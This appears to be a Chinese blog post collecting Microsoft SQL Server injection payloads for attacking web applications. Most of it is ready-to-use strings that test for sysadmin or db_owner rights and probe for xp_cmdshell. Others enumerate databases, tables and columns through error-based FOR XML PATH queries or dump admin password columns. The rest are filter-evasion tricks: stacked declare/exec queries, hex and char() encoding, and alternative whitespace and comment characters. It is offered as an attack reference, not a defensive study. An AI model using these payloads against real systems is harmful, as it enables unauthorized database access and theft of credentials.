MSSQL注入语句总结

目录:

  • 基础语句
  • 注入点权限判断
  • 获取数据库
  • 获取指定数据库中的表的列的数据库
  • 判断数据库级别的角色
  • SQL特性:

关于mssql的注入语句,跟mysql也差不了多少,都是从information_scheam库中获取各种数据。

基础语句

  • select ***://查询指令

  • @@version // 数据库版本

  • system_user //系统用户名

  • suser_sname() //查出当前操作数据库的登入名,一般和触发器一起用来监控是谁对表做了操作

  • user //获取当前数据库用户名

  • db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库

  • db_name(7) //查询库名,1-6为系统库,7开始为其他库

  • (select host_name()) //主机名

  • ;select user //查询是否支持多语句

  • and exists(select * from sysobjects) //确实目标是否真的为mssql数据库,页面返回正常则是**

  • and exists(select username from manage) // 猜解字段

注入点权限判断

  • and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员

MSSQL注入语句总结_第1张图片

  • and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限

  • and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限

  • (select count(*) from master.dbo.sysobjects where xtype=‘X’ and name=‘xp_cmdshell’)
    //查询xp_cmdshell,1为存在

  • (select name from master.dbo.sysdatabases where dbid=7)
    //修改dbid数值,查询库名,1-6为系统库

获取数据库

(该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)

and 1=(select quotename(name) from master…sysdatabases FOR XML PATH(’’))–

and 1=(select ‘|’%2bname%2b’|’ from master…sysdatabases FOR XML PATH(’’))–

获取指定数据库中的表的列的数据库

  • 逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

    and 1=(select top 1 * from 指定数据库…指定表名 where排除条件 FOR XML PATH(’’))–

  • 一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

    and 1=(select top N * from 指定数据库…指定表名 FOR XML PATH(’’))–

注:
第一条语句:and 1=(select top 1 * from 指定数据库…指定表名 FOR XML PATH(’’))–

加上where条件筛选结果出来会更加好,如:where and name like ‘%user%’ 就会筛选出含有user关键词的出来,用在筛选表段时很不错。

注入语句可以用char()表示,以下是统计下总共有多少个库

(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]…[sysdatabases] )+CHAR(58)+CHAR(58))

查询多条数据可以使用%2B 也就是加号,如果语句中有+号报错,可以url编码成%2B

select null,name%2Bpass,null from info

判断数据库级别的角色

  • select IS_MEMBER(‘db_owner’) //查看当前角色是否为db_ownwer

MSSQL注入语句总结_第2张图片

  • (select top 1 name from sysobjects where xtype=‘U’) //查询当前库第一个表名

  • (select top 1 table_name from master.information_schema.tables)
    //查询master库第一个表名

  • (select top 1 name from bbs.dbo.sysobjects where xtype=‘U’)
    //查询bbs库第一个表名

  • (SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)
    //假设你在当前库中并没有看到管理表,这时不妨尝试跨库查,前提是你要有权限才行

  • (select top 1 name from sysobjects where xtype=‘U’ and name not in (‘表名1’,‘表名2’)) //查询其他表

  • (select top 1 table_name from information_schema.tables where table_name not in (‘表名1’,‘表名2’)) //查询其他表

  • (select name from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表

  • (select ‘|’%2bname%2b’|’ from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表

  • (select top 1 name from syscolumns where id=object_id(‘admin’)) //查询当前库admin表的第一个列名

  • (select top 1 name from syscolumns where id=object_id(‘admin’) and name not in(‘列名1’,‘列名2’) //查询当前库admin表的其他列名

  • (select top 1 column_name from information_schema.columns where table_name=‘admin’ and column_name not in(‘列名1’,‘列名2’))
    //查询当前库admin表的其他列名

  • (select name from syscolumns where id=object_id(‘admin’) FOR XML PATH(’’)) //快速查询所有列

  • (select top 1 password from bbs.dbo.admin) //查询bbs库admin表password列的第一个值

  • (select top 1 password from admin where password not in (‘值1’,‘值2’)) //查询其他值

  • (select password+username from admin FOR XML PATH(’’)) //快速查询所有值

  • (select top 1 name from sysobjects where xtype=‘U’ and name not in(select top 0 name from sysobjects where xtype=‘u’))
    //变化0来快速查询

  • (select top 0 name from 表名) //变化0来快速查询

SQL特性:

  1. mssql空白符,%01-%20都为空白符--和/**/为注释%00也可充当注释符

  2. 引进一个declare 函数,他是mssql声明局部变量的函数,我们经常用它来绕过waf对一些关键词的拦截

    1. select * from admin where id =1;declare @a nvarchar(2000) set @a=‘select convert(int,@@version)’ exec(@a) --

    堆叠注入,使用declare 和exec进行无select注入

    1. declare @s varchar(2000) set @s=0x73656C6563742031 exec(@s)

    declare定义变量 set设置变量值 exec执行变量

  3. 变量的值是支持hex和ascii码的,当过滤引号我们就可以这么用

避免使用引号

(select top 1 name from syscolumns where id=object_id(‘admin’))

(select top 1 name from syscolumns where id=object_id(char(97)+char(100)+char(109)+char(105)+char(110)))

MSSQL注入语句总结_第3张图片

你可能感兴趣的:(漏洞利用,MSSQL,注入语句,语句总结,MSSQL注入)